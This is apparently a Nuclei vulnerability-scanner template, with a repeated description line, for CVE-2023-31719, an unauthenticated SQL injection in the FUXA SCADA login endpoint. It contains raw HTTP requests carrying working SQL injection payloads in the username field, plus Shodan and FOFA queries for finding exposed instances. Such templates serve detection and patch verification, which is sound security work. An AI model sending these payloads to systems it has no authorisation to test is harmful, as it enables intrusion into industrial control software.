Description
FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
id: CVE-2023-31719
info:
name: FUXA <= 1.1.12 - Unauthenticated SQL Injection
author: Securin
severity: critical
description: |
FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of FUXA to fix the vulnerability.
reference:
- https://github.com/MateusTesser/CVE-2023-31719
- https://github.com/frangoteam/FUXA/blob/v1.1.12/server/runtime/users/usrstorage.js
- https://github.com/frangoteam/FUXA/blob/v1.1.12/server/api/auth/index.js
- https://nvd.nist.gov/vuln/detail/CVE-2023-31719
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-31719
epss-score: 0.44363
epss-percentile: 0.98769
cwe-id: CWE-89
cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: frangoteam
product: fuxa
shodan-query: http.title:"FUXA"
fofa-query: title="FUXA"
tags: cve,cve2023,fuxa,sqli,unauth,scada
variables:
user: "{{rand_text_alpha(6)}}"
pass: "{{rand_text_alpha(6)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /api/settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "daqTokenizer", "uiPort", "packageDir")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' OR nosuchfunc{{user}}(1)='1","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "SQLITE_ERROR")'
- 'contains(body, "no such function: nosuchfunc{{user}}")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' OR '1'='1","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "Invalid email/password")'
condition: and
internal: true
- raw:
- |
POST /api/signin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{user}}' AND '1'='2","password":"{{pass}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'len(body) == 0'
condition: and
# digest: 4a0a00473045022100ac4f10c5f69ff129afbe18fb986bf909bd0a1260860833fcf9bf06811dff6087022008d2436b479b3f61416d94299e88f2ac344e2cd29d0b435fafa6b7305578617a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.